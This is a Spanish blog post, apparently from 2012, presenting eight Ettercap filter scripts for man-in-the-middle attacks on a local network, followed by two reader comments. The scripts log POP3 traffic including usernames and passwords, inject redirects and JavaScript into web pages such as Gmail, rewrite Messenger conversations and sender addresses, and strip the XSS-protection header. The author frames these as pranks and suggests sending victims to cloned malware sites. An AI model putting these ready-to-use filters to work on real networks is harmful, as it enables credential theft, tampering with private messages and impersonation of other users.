Jugando con los filtros para Ettercap

Aprovechando que estoy en casa griposo y además, preparando el contenido para los talleres de ConectaCon Jaen, donde espero veros a todos 🙂 … voy a poner algunos filtros para Ettercap que he ido programando (only for fun) o que he encontrado por la red. La verdad es que con 4 comandos y un poco de imaginación, se pueden hacer muchas cosas }:->

No voy a contar qué es Ettercap ni cómo se usan los filtros dado que hay muchísima información en Internet. Así que vamos directamente a ver algunos ejemplos:

Ejemplo 1: Baneando el acceso a Tuenti.com

# By Pepelux

if (ip.src == '95.131.168.181' || ip.dst == '95.131.168.181') {

     drop();

     kill();

     msg("banned IP Tuenti.com");

}

Este pequeño script lo que hace es, que si la dirección origen o destino es la indicada, borra el paquete y mata la conexión.

Ejemplo 2: Bloqueando paquetes UDP

# By Pepelux

if (ip.proto == UDP) {

     drop();

     kill();

     msg("banned UDP Packet");

}

Este otro script bloquea todo el tráfico UDP.

Ejemplo 3: Cambiando las imágenes que el usuario carga en su navegador al visitar una web

############################################################################

#                                                                          #

#  Jolly Pwned -- ig.filter -- filter source file                          #

#                                                                          #

#  By Irongeek. based on code from ALoR & NaGA                             #

#  Along with some help from Kev and jon.dmml                              #

#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #

#                                                                          #

#  This program is free software; you can redistribute it and/or modify    #

#  it under the terms of the GNU General Public License as published by    #

#  the Free Software Foundation; either version 2 of the License, or       #

#  (at your option) any later version.                                     #

#                                                                          #

############################################################################

if (ip.proto == TCP && tcp.dst == 80) {

     if (search(DATA.data, "Accept-Encoding")) {

          replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string

          msg("zapped Accept-Encoding!\n");

     }
}

if (ip.proto == TCP && tcp.src == 80) {

     replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

     replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

     msg("Filter Ran.\n");

}

Aquí, cada vez que se detecte una conexión al puerto 80 (HTTP), cargará las imágenes de http://www.irongeek.com/images/jollypwn.png en lugar de las originales.

Al igual que cambiamos las imágenes, podemos modificar textos, por ejemplo, podemos hacer un replace de ‘Madrid’ por ‘Barça ‘  🙂

Ejemplo 4: Guardando datos en disco

# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 110 || tcp.dst == 110) {
		if (search(DATA.data, "")) {
			log(DECODED.data, "/tmp/xxx.log");
		}
	}
}

Se almacenará en el fichero indicado todo el tráfico generado por el puerto 110 (POP3), almacenando tanto el contenido de los mails, como usuarios y contraseñas de acceso, etc.

Ejemplo 5: Inyectando paquetes

# By Pepelux

if (ip.proto == TCP && tcp.src == 80) {
   if (regex(DATA.data, "<title>.*Bing.*</title>")) {
      drop();
      Inject("/tmp/redirect.txt");
      msg("Redireccion");
   }
}

Donde redirect.txt sería algo así:

<html>
   <head>
      <meta http-equiv="Refresh" content="0; URL=http://www.google.com">
   </head>
   <body></body>
</html>

En este caso, cada vez que el usuario intente cargar el buscador Bing en su navegador, lo que hará será ir siempre a Google.
Esto parece una broma, pero estando dentro de la propia red, podemos redirigir al usuario a una web clonada con algún tipo de malware, o combinarlo con Metasploit.

Ejemplo 6: Alterando datos del Messenger

# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 1863 || tcp.dst == 1863) {
		if (search(DATA.data, "")) {
			replace("estupendo", "horroroso");
			replace("hasta pronto", "hasta nunca ");
		}
	}
}

De forma similar a las imágenes de la web, en este caso lo que hacemos es modificar las conversaciones de los usuarios, de manera que cuando un usuario escriba la palabra ‘estupendo’ el otro leerá ‘horroroso’.

A parte de esto, en las cabeceras de las conversaciones siempre aparece la dirección de mail del usuario al que escribimos, por lo que, en caso de conocer los usuarios que tiene la víctima en su Messenger, podemos intercambiar las direcciones  – replace(«direccion1@hotmail.com», «direccion2@hotmail.com») – , de manera que al escribirle un usuario le llegaría el mensaje como si fuera de otro … vamos, para echarse unas risas 🙂

Ejemplo 7: Puteando al personal

# By Pepelux

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    ");
      msg("whited out gzip\n");
   }
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       ");
      msg("whited out deflate\n");
   }
   if (search(DATA.data, "gzip,deflate")) {
      replace("gzip,deflate", "            ");
      msg("whited out gzip and deflate\n");
   }
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept-Encoding!\n");
   }
   if (search(DECODED.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept_Decoded-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
	if (regex(DATA.data, "<title>Gmail</title>"))
	{
           replace("</title>", "</title><script>alert('Gracias por usar nuestros servicios de Gmail')</script>
                                               <script>alert('Nos congratula que nos haya escogido')</script>
                                               <script>alert('De verdad, que le estamos muy agradecidos')</script>
                                               <script>alert('Esta bien, ya puede acceder a su correo')</script>"); 	
       } 
} 

En este caso, lanzamos algunos Alert cada vez que el usuario abra la página de GMail.

Ejemplo 8: Eliminando el filtro Anti-XSS de Internet Explorer

# By Pepelux

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    "); 
   }
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       "); 
   }
   if (search(DATA.data, "gzip,deflate")) {
      replace("gzip,deflate", "            "); 
   }
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
   }
   if (search(DATA.data, "X-XSS-Protection: 1")) {
      replace("X-XSS-Protection: 1", "X-XSS-Protection: 0"); 
      msg("XSS Protection unactive\n");
   }
}

———-

Como ya comenté, la programación es muy sencilla y entra más en juego la imaginación de cada uno. Saludos

3 comentarios

  1. gracias andaba buscando algo asi, ya que en el celu tengo una app similar se llama Network Spoofer y lo queria para pc, con ello me ayudastes gracias gracias

  2. Buenas, se que el post es de 2012, pero queria saber porque cuando pongo los filtros en el ettercap,y parece que todo va bien, al rato deja de funcionar. Es como si se hubiera caido el filtro o ettercap, pero todo parece estar correcto. Tarda como 3 minutos en dejar de funcionar

Deja un comentario